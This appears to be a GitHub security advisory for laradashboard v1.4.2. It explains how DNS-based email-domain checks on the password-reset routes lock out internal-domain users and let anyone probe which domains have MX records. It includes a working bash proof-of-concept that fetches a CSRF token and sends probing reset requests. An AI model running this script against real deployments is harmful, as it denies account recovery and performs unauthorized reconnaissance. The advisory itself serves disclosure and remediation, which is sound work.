laradashboard/laradashboard: Password-Recovery Path Domain-Gated → Valid-User Lockout DoS + Pre-Auth DNS Oracle
What fixes it
No source in this snapshot names a fixed version.
Description
Password-Recovery Path Domain-Gated → Valid-User Lockout DoS + Pre-Auth DNS Oracle
- Severity: CVSS
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H - CWE: 306 / 642 (control flow path mishandling → unavail) + DNS oracle
- Affected: v1.4.2 (new);
ForgotPasswordRequest,ResetPasswordRequest,EmailSubmissionValidator,EmailDomainCheckService
Summary
Forgot/reset password routes now run PublicFormGuardService::mergeRules, which calls EmailSubmissionValidator — and EmailDomainCheckService permanently rejects domains where checkdnsrr($domain, 'MX') fails:
// ForgotPasswordRequest.php:22-27 return app(PublicFormGuardService::class)->mergeRules(['email' => ['required','email']], emailFields: ['email']); // EmailSubmissionValidator.php:70-74 + :123 — permanent reject on disposable/blocked // EmailDomainCheckService.php:116-129 — DNS lookup
Consequence: **any user whose email domain has internal-only MX records (e.g. admin@corp.local) can never request a password reset** — the validation rule rejects before the broker fires. Only an authenticated admin with settings.edit + correct mail config can workaround. A similar attack applies to the first registration of such an email: POST /register → validation block.
Secondary impact: attacker triggers DNS lookups for arbitrarily chosen domains via POST /password/email (20/min throttle; each resolves MX → slow-DoS tie-up of workers via DNS timeout).
Reproduction
curl -X POST 'http://<app>/password/email' -d "_token=<csrf>&email=admin@corp.local" # → 422 "email" validation error before the mail broker is contacted # (the DNS lookup for corp.local either times out or returns no MX)
Impact
- Valid-user DoS: accounts with internal-only email domains are permanently locked out of password recovery (only Superadmin-manual reset possible).
- DNS oracle: attacker learns which domains resolve MX for a given company (pre-auth recon).
- Slow-DNS worker saturation tied to the HTTP throttle budget (20/min), reducing availability of public auth routes.
Remediation
- Do not apply
EmailSubmissionValidatoron recovery routes; these are not "public submissions" — apply only on registration/public forms. - If domain-restriction is desired for registration, implement it as a setting-gated allow-list, not a DNS-dependent permanent reject.
- DNS oracle: use async DNS or short timeouts; do not reject based on DNS failure (treat as pass or quarantine).
PoC
Script
#!/usr/bin/env bash
# N-04: Reset path domain-gate → valid-admin lockout + DNS oracle
set -eu
BASE="${BASE_URL:?Set BASE_URL to running app}"
INTERNAL_ADMIN="${INTERNAL_ADMIN:-admin@corp.local}"
CSRF=$(curl -sS "$BASE/password/email" | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)
echo "[1/2] Reset for valid internal-domain admin..."
curl -sS -X POST "$BASE/password/email" \
-d "_token=$CSRF&email=$INTERNAL_ADMIN" -D - -o /dev/null \
| grep -iE 'HTTP/|422' | head -3
echo " → 422 validation — broker never fires"
echo "[2/2] DNS oracle — does attacker-chosen domain resolve MX?..."
for d in mobilecorp.xyz check.tag exists.example; do
code=$(curl -sS -o /dev/null -w '%{http_code}' -X POST "$BASE/password/email" \
-d "_token=$CSRF&email=probe@$d")
echo " domain $d → HTTP $code (302 = MX resolves)"
done
echo "[+] Done — internal-DNS admin permanently locked out of recovery."Expected output
[1/2] Reset for valid internal-domain admin...
HTTP/1.1 422 Unprocessable Entity
→ 422 validation — broker never fires
[2/2] DNS oracle — does attacker-chosen domain resolve MX?...
domain mobilecorp.xyz → HTTP 302 (MX resolves)
domain check.tag → HTTP 302
domain exists.example → HTTP 422 (no MX)
[+] Done — internal-DNS admin permanently locked out of recovery.ForgotPasswordRequest.php:22-27 / ResetPasswordRequest.php:23-30 run EmailSubmissionValidator; EmailDomainCheckService.php:116-129 does a permanent (not quarantine) DNS-based reject on the recovery path.
Connect with the researcher: Evilord on LinkedIn
Text from GitHub Advisory Database
Affected versions 1
- laradashboard/laradashboard, php,laravelv1.4.2 GitHub